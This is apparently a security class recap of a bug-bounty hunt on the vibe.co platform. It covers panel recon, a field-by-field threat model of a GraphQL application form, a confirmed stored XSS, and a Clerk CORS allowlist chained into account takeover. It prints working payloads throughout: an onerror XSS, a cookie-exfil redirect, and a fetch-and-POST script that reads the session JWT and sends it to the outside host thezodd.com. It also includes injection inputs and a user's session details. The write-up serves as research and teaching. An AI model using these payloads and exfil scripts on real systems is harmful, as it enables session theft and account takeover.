Takopi Class  /  Recap

Session 02

We meant to work on spaghetti code, ran into a SAP wall, and turned the accident into the day's real subject: narrow recon on a single-page app. We walked every feature in the vibe.co panel, built a threat model of the one worth attacking, and landed a stored XSS in a text field every other hunter had scrolled past. The lesson to keep: browse the whole product by hand, because the vulnerable input is usually in the feature nobody thinks to test.

Summary of findings

  1. 01The team left a SAP surface and kept the assetTarget: vibe.coNoteMethod, no test
  2. 02AI makes real flows cheap to build, so build and attack themTarget: none, a method noteNoteMethod, one TODO
  3. 03A walk through every panel feature found the form with the most inputsTarget: the vibe.co dashboard panelInfoMapped by hand
  4. 04The create call returns text fields with no encoding. One test is planned for each field.Target: clear-platform.vibe.co, CreateApplicationNot ratedThreat model, to prove
  5. 05The howItWorks field runs script when the page renders itTarget: www.vibe.co, integrations marketplace pageConfirmedFired in our own session
  6. 06The Partner info link stops the javascript: scheme and the attribute breakTarget: the link built from installationUrlNoneTested live, no bug
  7. 07Any *.vibe.co origin can read the Clerk session with credentialsTarget: clerk.vibe.co/v1/clientConfirmedTested live, a chain only
  8. 08The session 01 CDN XSS plus the session 02 allowlist gives account takeoverTarget: cdn.apps.vibe.co and clerk.vibe.coNot ratedChain of two sessions
  9. 09Twelve lessons from the dayTarget: none, a lesson listNoteLesson list
  • Confirmed Proven on the target. The source does not give a rating.
  • Not rated Lab model or lead. It is not proven on the target.
  • Info Groundwork. No security effect is claimed.
  • None Tested on the target. No bug.
  • Note A method or a lesson. Not a test result.

Scope

Session

Asset vibe.co, the dashboard panel Lesson narrow recon on an SPA Win stored XSS in howItWorks Chain any *.vibe.co XSS → ATO via Clerk CORS Date 2026-09-27
Panel
www.vibe.co/dashboard
GraphQL
clear-platform.vibe.co/graphql
Auth
clerk.vibe.co
CDN
cdn.apps.vibe.co

Where each test ran

  • Live on the target: sections 05, 06 and 07, and the create call in section 04
  • Walked by hand: section 03
  • Not started: the field tests of section 04, see Open items

Findings

Each card is one result. The number is the section number of the original recap. Long code is in Evidence.

01Notenote

The pivot

Target

No new target. This is a method note. The asset stayed vibe.co.

Impact
Changing target is a move, not a failure. A surface that does not fit the lesson you want to teach is a reason to switch, not to grind. We kept the asset, vibe.co, and swapped the angle to narrow recon of its single-page dashboard.
Steps

The plan was spaghetti code, a tangled legacy app to pick apart. What we actually hit was a SAP surface, which is its own world and not the lesson we came for, so we changed the path rather than forcing the target. The pivot was deliberate: SPA → narrow recon, which became the day's subject.

Evidence

The source gives no evidence. This is a method note.

Status

Done. The source records the change of target as a decision.

02Notenote

Pre-AI and post-AI, why we set up real flows

Target

No target. This is a method note.

Impact
Do not be a tools-based hacker. A scanner points at the endpoints the crawler already found and tests the checks it already ships. The edge is in understanding the flow well enough to build it, then attacking the seam a tool never knew was there. Our standing TODO from this is a full local implementation of the vibe.co file upload, so the next pass tests it against something we own.
Steps
Pre-AI
  • To understand one file upload you had to build it, coding and reading through ten or more S3 and upload implementations and libraries by hand
  • The setup cost was so high you rationed it, and you leaned on tools to avoid it
Post-AI
  • You are faster and you can implement real cases, so the honest move is to stand up the actual flow and attack a thing that behaves like production
  • You are almost forced to, because the assistant removes the excuse that setup is too expensive
Evidence

The source gives no evidence. This is a method note.

Status

Open. The TODO to build a local copy of the vibe.co file upload is in the impact text.

03Infotested live · a walk through the dashboard

Recon the panel, feature by feature

Target

The vibe.co dashboard panel, every feature.

Impact
The rule out loud. Browse all features, because one of them has a little input the crawler skipped and the last ten hunters never opened. That input is your finding. The panel had obvious URL fields in advertisers, app tracking and the invite flow, and a marketplace install that auto-opens a modal, all worth their own pass, but the density was in the developer application form.
Steps

Narrow recon on an SPA is not a crawl, it is a walk. You open the app and click every feature, because a single overlooked input in a corner of the product is exactly the one every other hunter scrolled past. We mapped the whole dashboard before choosing where to attack.

CLICK EVERY FEATURE, THE BUG IS IN THE OVERLOOKED ONE Dashboard panel walk it all before you attack any of it General Account name  ·  Delete account Members Memberships · Invitations Invite member + role  email input Advertisers List → clickable URL New advertiser → URL Integration marketplace Services list · Installation Shopify web pixel + auto modal Web pixel Setup: download · OAuth Google connect App tracking takes a URL as input My applications   ★ the target we chose New application, one form with many inputs, each its own vuln class: Text inputs (name, description, howItWorks) → stored XSS File upload + S3 + reverse proxy → XSS on cdn.apps.vibe.co Slug, lands in the URL → client-side path traversal Auth method: installation + redirect URLs, scopes → SSRF, DOM XSS Support: company domain, support email → SSRF, injection ● the stored XSS below is the first of these to fall
One form is not one bug, it is a column of them. The whole panel is worth a click, but My Applications → new application is where the inputs cluster, and each field is a different vuln class waiting for its own test.
Evidence

The mind map above is the record of this walk. The source gives no requests here.

Status

Done. The team mapped the whole panel before it chose where to attack.

04Not ratedmodeled · one test per field, from the proxy traffic

New application, the field-by-field target

Target

The CreateApplication mutation at clear-platform.vibe.co and each field of its input.

Impact
What this app actually is. The createApplication mutation returns a clientId and a clientSecret, and sibling operations captured in the same session (ConsentedApps, IntegrationInstallationsScopeReview, InstalledIntegrations, ApiKeyApplications) confirm this is a third-party OAuth and integration publishing platform. Apps you create here are installed by other tenants, who consent to the scopes you declare and are redirected to your redirectUrls, so every stored field renders into surfaces shown to other advertisers and the URL and scope fields feed a real OAuth grant, which is what turns metadata bugs here into cross-tenant and account-takeover severity rather than self-XSS noise.
Steps

We captured the create call in Burp and turned it into a threat model, one test per field anchored to the exact request body. The full model is laid out below, all six parts and the sequencing plan, generated from the proxy traffic captured on the day.

The field model, 01 text inputs

name · shortDescription · description · howItWorks, plus color and category. Ceiling, cross-tenant stored XSS. The response returned <b>test1 and <b>test4</b> unencoded, so storage keeps raw HTML, and the real question is the sink, where each field renders and with what escaping. These strings are shown to other tenants on the public app-directory card and the OAuth consent screen, so a working payload is cross-tenant, not self.

Tests

  • Set each field to <img src=x onerror=alert(document.domain)> then render every consumer, the app edit form, the detail and preview page, the public directory listing, the consent and authorize screen, any admin review queue
  • Confirm the sink with Chrome DevTools MCP rather than eyeballing HTML, watch for the payload reaching innerHTML, a framework v-html, or dangerouslySetInnerHTML
  • howItWorks is the richest field and already round-trips a closing </b>, so test whether it renders as rich text or markdown, which widens the sink
  • Length and charset probing, shortDescription may truncate and break a payload where description may allow full HTML
  • If a sanitizer is present, fingerprint it, DOMPurify version or framework auto-escape, then hand the fingerprint to bypass-researcher before declaring blocked
  • color expects #RRGGBB, test whether it is injected into a style attribute or CSS block for CSS injection or attribute breakout
  • category is a server-side enum, test a value outside the UI list
Self-XSS is the floor, not the finding. JS has to execute in a second, unrelated tenant's browser when they view the directory or consent screen. If it only fires in your own edit form, keep it as a chain component, not a standalone report.

02 file upload, S3 and reverse proxy

logoUrl · screenshots[] → cdn.apps.vibe.co/apps/<uuid>.png. Ceiling, stored XSS via upload, SSRF, content spoof. Two distinct surfaces, the upload endpoint itself, not in this trace so capture it next, and the URL field as a plain string the client validates and the server may not.

Tests, upload path

  • Upload an SVG containing <script> or onload, then load the CDN URL directly, does cdn.apps.vibe.co serve it as image/svg+xml (executes) or force image/png and Content-Disposition (safe)
  • Upload HTML with a .png name and probe whether the reverse proxy sniffs content-type or trusts the extension
  • Polyglot GIF/HTML and PDF for the same content-type confusion
  • Check CDN response headers, X-Content-Type-Options: nosniff, CSP, and whether the origin shares the app cookie domain
  • If upload is a presigned S3 PUT, inspect the policy for over-broad key or content-type, attempt path traversal in the object key, attempt to overwrite another app's <uuid>.png

Tests, URL field directly

  • Set logoUrl to an arbitrary external or internal URL, not the CDN, and see if the server accepts it, a later consumer that fetches it to re-host or thumbnail is SSRF
  • Set it to javascript: or a data:text/html URI and check whether the logo renders as a link or background that reaches a DOM sink
Confirms it, a direct hit on the CDN URL runs JS, or a fetched-URL variant produces a Collaborator callback from Vibe or AWS infrastructure. This is the same seam that fell in session 01.

03 slug, CSPT and path abuse

slug = abcdd lands in the public application URL. Ceiling, CSPT and slug collision.

Tests

  • Find where the slug is placed in a path the client then uses to build an API or fetch call, inject ../, %2e%2e%2f, ..%2f, %2f encoded to redirect that client-side fetch to a different endpoint, classic CSPT
  • Reserved and collision slugs, admin, api, settings, an existing app's slug, empty, unicode, very long, trailing dot or space, that could shadow a real route or hijack another app's page
  • Uniqueness and race, create two apps with the same slug concurrently to see if the second overwrites routing to the first
  • Characters that break routing, ., /, #, ?, @, null, to reach open-redirect-style or path-confusion behaviour on the app page
  • If the slug renders in the page, title, canonical link, og tags, treat it as an additional stored-XSS sink from part 01
Confirms it, a crafted slug makes the app page issue an authenticated request to an attacker-influenced path, or the app page loads another tenant's app.

04 authentication method, redirect_uri, scopes, installationUrl

redirectUrls[] · installationUrl · scopes[]. redirectUrls[] is the highest-value field on the form, the OAuth redirect_uri allow-list for an app other tenants authorize, so weak validation here steals the authorization code or token of every installer.

redirectUrls[], tests

  • Enumerate the exact matching rule against the live authorize endpoint, found via the IntegrationInstallationsScopeReview or ConsentedApps flow, not just what create accepts
  • Register variants and see which are honored at authorize time, extra path /cb/../evil, open subdomain, @ userinfo https://legit@evil, trailing dot, path versus prefix match, ? or # appended, protocol-relative, localhost or IP, wildcard
  • Test whether redirectUrls accepts http://, non-web schemes, or a domain you do not own
  • Check for missing or ignored state and whether PKCE is enforced, combine with a loose redirect_uri for a full theft chain
  • Feed the observed defense to auth-hunter and the /auth and /open-redirect skills for the full redirect_uri matrix

scopes[], tests

  • Send scopes the UI does not expose, *, admin, billing:write, users:read, other resources, to see if the server validates against an allow-list or trusts the client
  • Test whether consent enforces the declared scopes or an app can later request more than it registered
  • Check whether :write can be added to a published app without re-consent from existing installers

installationUrl, tests

  • DOM XSS, javascript:alert(1) or a data: URI, test whether the install button becomes an href or window.open sink without scheme validation
  • Open redirect, whether the platform bounces through its own domain to this URL
  • SSRF, whether any server-side step, preview, health-check, screenshot, unfurl, fetches it, re-arm Collaborator and drive the actual install flow since save alone did not fire
This is the lead section 06 drilled live. The Partner info link built from installationUrl is exactly the href sink we break in section 06, and the redirect_uri thread is what session 03 picked up on the sign-in flow.

05 support, domain, website and doc URLs plus email

domainUrl · supportWebsiteUrl · docUrl · supportEmail. Ceiling, SSRF, DOM XSS, stored link injection, email injection.

The three URL fields

  • Same dual test as installationUrl, javascript: or data: for a DOM-XSS href sink where they render as clickable links, and Collaborator for any server-side fetch, unfurl, or favicon-grab
  • domainUrl specifically, if the platform uses it to derive a verified-domain badge or to scope anything, test domain-confusion, subdomain, punycode, trailing dot
  • Stored link injection, a link rendered to other tenants pointing at an attacker page is low alone but chains with a convincing app listing for phishing
  • Missing rel=noopener on target-blank links, reverse tabnabbing

supportEmail

  • CRLF or header injection, [email protected]%0aBcc:[email protected], extra headers, if this address is used as a from or reply-to in outbound mail
  • Name or display spoofing and non-RFC addresses the parser accepts but the mailer mishandles
  • Whether it renders unescaped anywhere, which folds back into part 01 XSS
  • Low priority unless you can prove Vibe sends mail using this value

06 cross-cutting, run these regardless of field

P1Access control / IDOR

  • Create, read, update, delete an application while swapping the org or tenant context, Clerk org id, any organization_id, to another tenant you control, cross-tenant CRUD
  • Fetch another org's app by clientId or id and check whether clientSecret leaks in any read query, it is returned on create, watch for it on list or get
  • Publish or approve state transition, status: draft to published, can a user self-approve past a review gate

P2GraphQL surface

  • Introspection on clear-platform.vibe.co/graphql, dump CreateApplicationInput for hidden fields not in the UI, owner id, isVerified, isInternal, trusted flags
  • Set those hidden fields in the mutation, mass-assignment, to self-verify or self-trust the app
  • Batching and aliasing for rate-limit or auth bypass on the create or authorize flow

P3CSRF / CORS

  • ACAO is pinned to https://www.vibe.co and auth is Clerk bearer, not cookie, so classic CSRF and cross-origin read are likely dead, do not report reflected-origin noise
  • Confirm the mutation requires the Clerk bearer and is not accepted with cookies alone before spending time here

P3clientSecret handling

  • clientSecret is returned on create and cached no-store, good, so check it is not re-exposed on later reads, in logs, or to lower-privileged org members

Sequencing

The order we planned to run it. One, introspect the GraphQL schema and dump the full CreateApplicationInput to catch hidden and mass-assignment fields before anything else. Two, nail the redirect_uri matrix on the real authorize flow, P0 and the cleanest high-impact. Three, drive one app fully through publish and install-by-a-second-tenant with Collaborator armed and every text field carrying a distinct XSS marker, so stored XSS and any consumer-side SSRF both fall in one pass. Four, slug CSPT and CDN content-type last. Every severity here is a hypothesis to prove, not a confirmed finding.
Evidence

The observed request, ground truth

A GraphQL CreateApplication mutation to clear-platform.vibe.co, and the response echoed the text fields back byte for byte with no encoding, which is what put stored XSS at the top of the list.

http
POST /graphql HTTP/2
Host: clear-platform.vibe.co          # CORS ACAO: https://www.vibe.co, auth is Clerk bearer

mutation CreateApplication($input: CreateApplicationInput!) { ... }

input = {
  name:              "<b>test1"          # echoed back UNENCODED
  shortDescription:  "<b>test22222"      # echoed back UNENCODED
  description:       "<b>test3"          # echoed back UNENCODED
  howItWorks:        "<b>test4</b>"      # echoed back UNENCODED, richest field
  slug:              "abcdd"             # lands in the public URL  -> CSPT
  logoUrl, screenshots[]                 # -> cdn.apps.vibe.co/apps/<uuid>.png
  installationUrl, domainUrl, docUrl, supportWebsiteUrl   # 5 URL fields
  redirectUrls[]                         # OAuth redirect_uri  -> code/token theft
  scopes[]                               # advertisers:*, audiences:*  -> scope escalation
  supportEmail, color, category
}
No Collaborator interaction fired on save for any of the five URL fields, so none is fetched server-side at creation. SSRF, if it exists, lives in a later consumer, app review, install, logo rendering, link unfurl, not in the create call. Test the consumers, not just the setter.

Priority matrix

Ranked by expected payoff, start at the top.

FieldSectionPrimary testCeilingPri
name, shortDescription, description, howItWorksText inputsstored XSS on consent and directory pages, cross-tenantcross-tenant ATOP0
redirectUrls[]Auth methodOAuth redirect_uri bypass, code or token theftATO of installersP0
scopes[]Auth methoddeclare scopes beyond what the UI offersover-broad grantP1
logoUrl, screenshots[]Upload + S3SVG content-type XSS on cdn.apps.vibe.co, arbitrary URLstored XSS, SSRFP1
slugSlugCSPT and reserved-slug collision on the public URLCSPT, hijackP1
the whole mutationAccess controlIDOR and authz across tenants, hidden mass-assignmentcross-tenantP1
installationUrl, domainUrl, docUrl, supportWebsiteUrlAuth, SupportSSRF on the consumer, DOM XSS via javascript:/href sinkSSRF, XSSP2
supportEmailSupportheader or parameter injection in outbound support mailspoof, injectionP3
The upload row is the same seam we proved in session 01, so the CDN content-type test carries straight over. The high-value unknown is redirectUrls, tested against the real authorize flow rather than what the create call accepts.
Status

Open. The source says every severity here is a hypothesis to prove. No Collaborator callback fired on save for the five URL fields.

05Confirmedtested live · the howItWorks field

The XSS we found

Target

The howItWorks field of a developer application on www.vibe.co.

Impact
Self-XSS is the floor, not the finding. If the field renders only in our own edit form and nothing publishes or reviews it, it is self-XSS, and then post-exploitation is the whole report: what can we actually reach from that origin. The next step is to drive the publish and the install-by-a-second-tenant flow and watch which of the three it really is.
Steps

The first field to fall was howItWorks, the "how to use" input on a developer application. A plain image-error payload, nothing exotic, because the field stores and returns raw HTML.

Simple payload, and that is the point. No sanitizer to bypass, no WAF, no encoding. The field was never escaped on the way out, so the cheapest payload in the book ran. The work was the recon that found the field, not the payload that broke it.

Self, stored or blind, decide before you report

The alert firing in our own browser is not yet a severity. Where the payload renders for someone else is the whole question, and it splits three ways.

Stored XSS
  • If we can publish the application so the field renders on a directory or consent page another tenant loads, it is stored XSS, cross-tenant, the real report
Blind XSS
  • If a manager or a Vibe developer has to review or accept the app before anyone sees it, it fires in their session, that is blind XSS, and it wants a callback payload, not an alert
Evidence
html
<img src=x onerror=alert(origin)>

Fired at:

url
https://www.vibe.co/dashboard/settings/integrations-marketplace/859cc683-3c7e-490b-b8a6-bbba291691ea
Status

Confirmed. The payload fired in our own browser. Stored, blind or self is still open.

06Nonetested live · the Partner info link

The Partner info link, drilling a sink the right way

Target

The Partner info link built from installationUrl, on the pre-publish screen of the application.

Impact
A closed sink can still point at an open one. The Partner info link resisted both payloads, but proving there is a review step is what upgrades the earlier text-field XSS into a blind XSS aimed at a Vibe reviewer. The drill was worth running even though the link did not break.
Steps

After the pre-publish stage the application shows a Partner info block with a link built from installationUrl. A link is not one thing, so before touching it we ran the sink drill: what kind of sink is this, and what does it accept.

The href sink drill

The first fork is whether the click is driven by JavaScript or by a plain href, because they fail to completely different payloads.

DRILL THE LINK BEFORE YOU ATTACK IT our link on click sink JS-driven navigation href plain <a> tag JS navigation location.href = ... , window.location = ... value hits a DOM sink? value is pure HTML ★ WE ARE HERE, break the attribute or ride a scheme
A link is not one bug. Fork on how the value is used, JS navigation, a DOM sink, or raw HTML, before you pick a payload. Here it landed as raw HTML inside an anchor.

We confirmed it is an <a> tag rendered as raw HTML, so the two cases to know cold are the javascript: scheme and whether the anchor opens in a new context:

html
<a href="javascript:alert(origin)">yahoo</a>                 -> XSS
<a href="javascript:alert(origin)" target="_blank">yahoo</a> -> NO XSS

Our target renders with target="_blank", which is the second case:

html
<a target="_blank" rel="noopener noreferrer" class="link ..."
   href="https://<collab>.oastify.com/3">Visit
The javascript: scheme is dead here. A browser will not run a javascript: URL that is navigated in a new browsing context, and target="_blank" forces exactly that. That closes the scheme route, so only one option is left: break out of the attribute and write our own markup.

Break the attribute

If we cannot ride the scheme, we try to escape the quoted href value and inject a new attribute or tag. We fed a double quote through installationUrl:

json
"installationUrl":"https://<collab>.oastify.com/1\"aaaaaaa"

and looked at how it landed in the rendered anchor:

html
href="https://<collab>.oastify.com/1&quot;aaaaaaa"
The break was neutralised. Our " came back as &quot;, so the value is HTML-entity-encoded on output and the attribute never closes. Both direct routes into this link, the scheme and the attribute break, are shut. So the link itself is not the win, but the flow around it is.

The pre-publish screen tells us the missing piece: “We’ll review your app before it goes live.” A human reviews the submission. That reclassifies the howItWorks stored XSS from “fires in my own tab” to fires in the reviewer’s session, which is blind XSS, and it wants a callback, not an alert:

js
location.href='https://thezodd.com/?log=' + escape(document.cookie)
Evidence

The payloads and the returned bytes are in the steps above. The source has no long evidence here.

Status

Tested live, no bug. Both direct routes into the link are closed.

07Confirmedtested live · from a stray image URL

The Clerk session, from a stray image URL

Target

clerk.vibe.co, the endpoints /v1/client and /v1/organizations.

Impact
Attack scenario, any-subdomain XSS → ATO. An attacker who runs JavaScript on any *.vibe.co origin can fetch('https://clerk.vibe.co/v1/client', {credentials:'include'}), read the identity and the session JWT past the same-origin policy because the origin is allowlisted with ACAC: true, and exfiltrate them for full account takeover. Every XSS anywhere on the apex, forgotten subdomain, marketing page, staging host, is now an ATO, and our own howItWorks XSS on www.vibe.co is exactly such a primitive once its render context is confirmed.
Steps

Narrow recon on the session surfaced a suspicious URL sitting inside the session JWT, an org_image_url pointing at img.clerk.com with a long base64 tail:

url
https://img.clerk.com/eyJ0eXBlIjoiZGVmYXVsdCIsImlpZCI6Imluc18yVEt4...

The tail is base64 config, not a path, so swapping the host to the tenant’s own Clerk (clerk.vibe.co/<same-blob>) returned nothing. That is a dead end on the image, but it points at the Clerk instance, which is the real surface. We dug into its API:

http
GET https://clerk.vibe.co/v1/client
GET https://clerk.vibe.co/v1/organizations

The __client cookie is the whole session

The raw request and the trimmed response are in E1.

So __client is the crown jewel. It returns PII (name, verified email, Google account id, avatar), the org and its admin permission set, and a freshly minted session JWT. Anything that can read this cookie or trick this endpoint into returning it cross-origin owns the account. That is what makes the earlier cookie-exfil blind XSS payload actually matter.

The CORS probe, the gate is the whole apex

Because the endpoint is credentialed, the first test is whether it will hand this response to an attacker origin. We started with a suffix trick on our own infra:

http
Origin: https://clerk.vibe.co.thezodd.com     # a subdomain of thezodd.com, not of vibe.co
http
HTTP/2 400 Bad Request
Access-Control-Allow-Origin: https://clerk.vibe.co.thezodd.com   # header layer reflected it
Access-Control-Allow-Credentials: true
{"errors":[{"code":"origin_invalid",
  "long_message":"The Request HTTP Origin header must be equal to or a subdomain of the requesting URL."}]}

The header reflected our origin, but an app-layer check returned 400 origin_invalid, so the suffix trick is dead. The error names the real rule though, so we tested a true subdomain of the apex instead:

http
Origin: https://anysub.vibe.co
-> Access-Control-Allow-Origin: https://anysub.vibe.co     # ALLOWED, with ACAC: true
The allowlist is all of *.vibe.co, not just clerk. The gate is not “subdomain of clerk.vibe.co”, it is “subdomain of the vibe.co apex”. Any origin under *.vibe.co is granted a credentialed read of the Clerk session response, the full account plus a fresh session JWT.

We then swept the whole origin gate against live clerk.vibe.co with our session, to map exactly what passes:

Origin sentStatusSession data?Verdict
https://vibe.co200yesallowed, the apex
https://anysub.vibe.co200yesallowed, any subdomain
https://a.b.c.vibe.co200yesallowed, nested, and non-existent subs too
https://evil.com400noorigin_invalid
null400noorigin_invalid
https://vibe.co.evil.com400nosuffix bypass fails
https://vibe-co.evil.com400nofails
https://evilvibe.co400noprefix bypass fails
http://x.vibe.co400nohttp downgrade fails
https://sub.vibe.co:443400noexplicit port fails
https://notvibe.co400nofails
The gate, stated exactly. The body is returned only when Origin is https://<label(s)>.vibe.co, https scheme, no explicit port. Everything else gets 400 origin_invalid. The reflected ACAO is cosmetic, an external origin sees it in the header but the body is an error, so a page on evil.com learns nothing. This is why CORS is not reportable standalone, it is a live chain only. The wildcard is broad though, even nested and non-existent subs return 200 with the session, so the entire *.vibe.co namespace is the attack surface.

Cache deception, dead end

The other classic against a credentialed endpoint is web cache deception, trick a CDN into caching the authed response under a static-looking URL that a victim link then serves to us. We ran the path-confusion matrix against /v1/client:

Path variantStatusAuthed body?CF-CacheVerdict
/v1/client200yesDYNAMICno-store, never cached
/v1/client/x.css404noage=14400404 page only
/v1/client/x.js404noage=14400404 page only
/v1/client;x.css404noage=14400no path-param route
/v1/client%2fx.css404noage=14400no route
/v1/client.css404noage=14400no route
/v1/client/%2e%2e/client.css404nopublic 14400no traversal collapse
/v1/client%00.css400no-rejected
/v1/client%0a.css404no-rejected
/v1/client/x.js%3f404no-no route
WCD is dead here. It needs both a crafted static URL that returns the sensitive body and a CDN that caches it, and neither holds. The authed 200 is no-store + DYNAMIC, so it is never cached, and every static-looking variant 404s instead of routing back to the authed handler. The public, max-age=14400 you see on the .css and .js variants is Cloudflare caching the 404 error page, not any authenticated content.

Where __client comes from, the next-session lead

The open question was, how does clerk.vibe.co hand out a __client when the app only POSTs to it from www.vibe.co with no bearer to exchange. We caught the call that mints it, and the answer reframes the whole cookie: it is not exchanged for a token, it is bootstrapped for an anonymous client at the start of sign-in. The POST /v1/client/sign_ins that kicks off Google OAuth is what sets it, and at that point there is no user yet.

The story to go after. A response from clerk.vibe.co sets a __client cookie, so something in the request from www.vibe.co must have earned it. The whole hunt is one question, what crossed the www → clerk boundary, and there are two candidates to prove or kill:
WHAT CROSSED THE www → clerk BOUNDARY www.vibe.co the app front end clerk.vibe.co the auth backend POST /v1/client/sign_ins Set-Cookie: __client · Domain=clerk.vibe.co · HttpOnly ????? what was exchanged Hypothesis 1 · token exchange A token in the request body or a header, traded for the client handle. Test: strip candidate tokens, see which one is required. Hypothesis 2 · .vibe.co cookie A parent-domain cookie both subdomains read, so every *.vibe.co shares the trust. Test: cold browser, watch the first issue with no cookies.
The whole hunt is one question. A clerk.vibe.co response sets __client, so something in the www → clerk request earned it. Prove or kill the two branches by capturing the cold first issue in a clean browser.
Watch the chicken-and-egg. The call we captured already carried a __client and a Domain=vibe.co __client_uat, so it only rotated a handle that already existed. To answer the question we have to capture the cold first issue, a fresh browser with no clerk cookies, and read what earns the very first __client. If it turns out to be a shared .vibe.co cookie rather than a token, that is a second reason the whole *.vibe.co namespace is trusted, and it feeds straight into the fixation lead below.

The raw sign_ins request and response are in E2.

So __client is an anonymous device handle, minted before login and bound to a user only after the OAuth round-trip returns to /v1/oauth_callback. It is HttpOnly, so script cannot read it, which is exactly why the /v1/client body read matters, it returns the session and JWT past HttpOnly. The JWT payload is just {id: client_..., rotating_token: ...}, a client identifier, not a credential.
The question we carry into next session. If the handle is created anonymous and only later bound to whoever finishes the OAuth, is there a session fixation / login CSRF: can we mint a __client, plant it in a victim’s browser (it is SameSite=Lax + HttpOnly, so via the OAuth top-level redirect chain, not JS), and have their Google login bind to our client so we inherit the session. And the second thread in the same request, are redirect_url and action_complete_redirect_url validated, or is this an OAuth open-redirect / redirect_uri lead. That is the plan for the next session, or the one after.
Evidence
js
// PoC shape, served from any *.vibe.co origin (or an XSS on one)
fetch('https://clerk.vibe.co/v1/client', {credentials:'include'})
  .then(r => r.text())
  .then(d => navigator.sendBeacon('https://thezodd.com/log', d));  // account + session JWT
Status

Confirmed. The source says CORS alone is not reportable. It works only as a chain. Cache deception is a dead end.

08Not ratedmodeled · session 01 meets session 02

The chain, session 01 meets session 02

Target

cdn.apps.vibe.co and clerk.vibe.co/v1/client.

Impact
Combined, they steal credentials with no user interaction beyond a page load. A victim logged into vibe.co who loads our poisoned CDN asset runs our JS on cdn.apps.vibe.co. That origin is allowlisted, so a credentialed fetch to clerk.vibe.co/v1/client succeeds, the browser attaches the Domain=vibe.co cookie, and the response, identity plus a fresh session JWT, comes back readable. We ship it to our server. That is full account takeover.
Steps

Neither half is the whole finding, but together they compose with no gap. Session 01 gave us a stored XSS on the CDN, cdn.apps.vibe.co, via the S3 content-type trick on a file upload. This session gave us a CORS allowlist that trusts every *.vibe.co origin against the credentialed Clerk session endpoint. The CDN is a *.vibe.co origin, so one feeds the other directly.

From session 01
  • JS execution on cdn.apps.vibe.co, a real, confirmed primitive, not a hypothetical
  • It is a subdomain of the vibe.co apex, so it sits inside the CORS allowlist we just mapped
From session 02
  • clerk.vibe.co/v1/client returns the full account and a session JWT for the __client cookie
  • The cookie is scoped Domain=vibe.co, so it rides along on a credentialed fetch from any subdomain
Flow chart 1How does a script on the CDN read the Clerk session?
Victim Clerk Attacker loads fetch, cookie response POST body Load the CDN asset Run our JS on the CDN Accept the fetch Read the response Receive the session data 1 2 3 4 5
  • Start or end
  • Action
  • Attack path
  • Step number
  1. the victimA victim logged into vibe.co who loads our poisoned CDN asset
  2. the CDN originruns our JS on cdn.apps.vibe.co
  3. clerk.vibe.coThat origin is allowlisted, so a credentialed fetch to clerk.vibe.co/v1/client succeedsthe browser attaches the Domain=vibe.co cookie
  4. the response, identity plus a fresh session JWT, comes back readable
  5. our serverWe ship it to our server. That is full account takeover.
Evidence

The exfil payload

The whole weaponisation is a few lines, dropped into the CDN XSS on cdn.apps.vibe.co or any other *.vibe.co origin we can run script on. We exfiltrate with a POST, so the full multi-KB body arrives intact with no URL length limit:

js
// runs on any *.vibe.co origin (e.g. the session-01 CDN XSS)
// reads the victim's Clerk session cross-origin, then POSTs it out
fetch('https://clerk.vibe.co/v1/client', { credentials: 'include' })
  .then(r => r.text())
  .then(data => {
    // POST the whole body to our logger, no truncation
    fetch('https://thezodd.com/log', {
      method: 'POST',
      mode: 'no-cors',            // fire-and-forget, we do not need to read the reply
      body: data
    });
  });
Why POST over the ?log= GET. The /v1/client body is several KB and a URL has practical length limits, so an Image beacon would truncate it. A POST body has no such cap, and mode:'no-cors' lets it fire even though our logger sends no CORS headers back, we are writing, not reading. navigator.sendBeacon('https://thezodd.com/log', data) is an equally good one-liner if we want it to survive the page unloading. The takeover itself only needs last_active_token.jwt and the email, but POST lets us keep the whole response for the report.
Status

Open. The open items ask which live *.vibe.co subdomain completes the chain.

09Notenote

Takeaways

Target

No target. This is a lesson list.

Impact
This session is narrow recon feeding client side, with the upload row carried over from session 01 and the full target laid out in the threat model above.
Steps
  • Switching off a SAP surface was the right call, the asset stayed the same and the angle became narrow recon on the SPA
  • Post-AI the setup cost of a real flow is gone, so build the thing and attack it, and do not be a tools-based hacker
  • Narrow recon on an SPA is a manual walk of every feature, because the finding is in the input other hunters never opened
  • One form is a column of separate vuln classes, one test per field, anchored to the real request body
  • A stored HTML field took the simplest possible payload, <img src=x onerror>, so the recon was the hard part and the exploit was free
  • An alert in your own browser has no severity until you place the sink, publishable is XSS, review-gated is blind XSS, neither is self-XSS
  • Drill a link before attacking it, JS navigation versus href, DOM sink versus raw HTML, and for an anchor the target="_blank" check that kills the javascript: scheme
  • When the scheme is dead, try the attribute break, and read the exact bytes that come back, our " returned as &quot; so output encoding shut the break
  • A closed sink can still upgrade an open one, proving the app has a human review step turned the text-field XSS into a blind XSS aimed at a reviewer
  • A stray URL in a JWT was the thread, img.clerk.com pointed at the Clerk instance, and clerk.vibe.co/v1/client trades the __client cookie for the entire account
  • The suffix trick clerk.vibe.co.thezodd.com got a reflected ACAO but a 400 origin_invalid, whereas a real *.vibe.co subdomain is allowed with ACAC: true, read the status and body, not just the header, and always test a true subdomain before calling a CORS gate closed
  • The Clerk allowlist is the whole vibe.co apex, which turns any XSS on any *.vibe.co origin into account takeover through a credentialed read of /v1/client, this is the real impact ceiling of every XSS on the domain
  • Findings compose across sessions, the session 01 CDN XSS on cdn.apps.vibe.co lands inside the session 02 *.vibe.co CORS trust, so the two chain into a no-interaction credential theft, always ask what a new primitive unlocks in what you already hold
Evidence

The source gives no evidence here. The lessons come from sections 01 to 08.

Status

Done. The source gives no status. This is a list of lessons.

Evidence

This section has the long code. Click an item to open it. Use Copy to copy a code block.

E1The Clerk session readtested live · GET /v1/client with the __client cookie

Evidence for section 07.

Both endpoints are gated by one cookie, __client, and that single cookie is exchanged for the full account. The request is nothing but the cookie:

http
GET /v1/client HTTP/2
Host: clerk.vibe.co
Cookie: __client=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVC...   # the one that matters

and the response hands back the entire identity, trimmed here:

json
{"response":{"object":"client","sessions":[{"user":{
   "first_name":"Nambel","last_name":"Throo",
   "email_addresses":[{"email_address":"[email protected]","verification":{"strategy":"from_oauth_google"}}],
   "external_accounts":[{"provider":"oauth_google","provider_user_id":"1048074067...","avatar_url":"https://lh3.googleusercontent.com/..."}],
   "organization_memberships":[{"role":"admin","permissions":["org:sys_domains:manage", ...],
                                "organization":{"slug":"nambelthroo-...","public_metadata":{"external_id":133023}}}]
 },
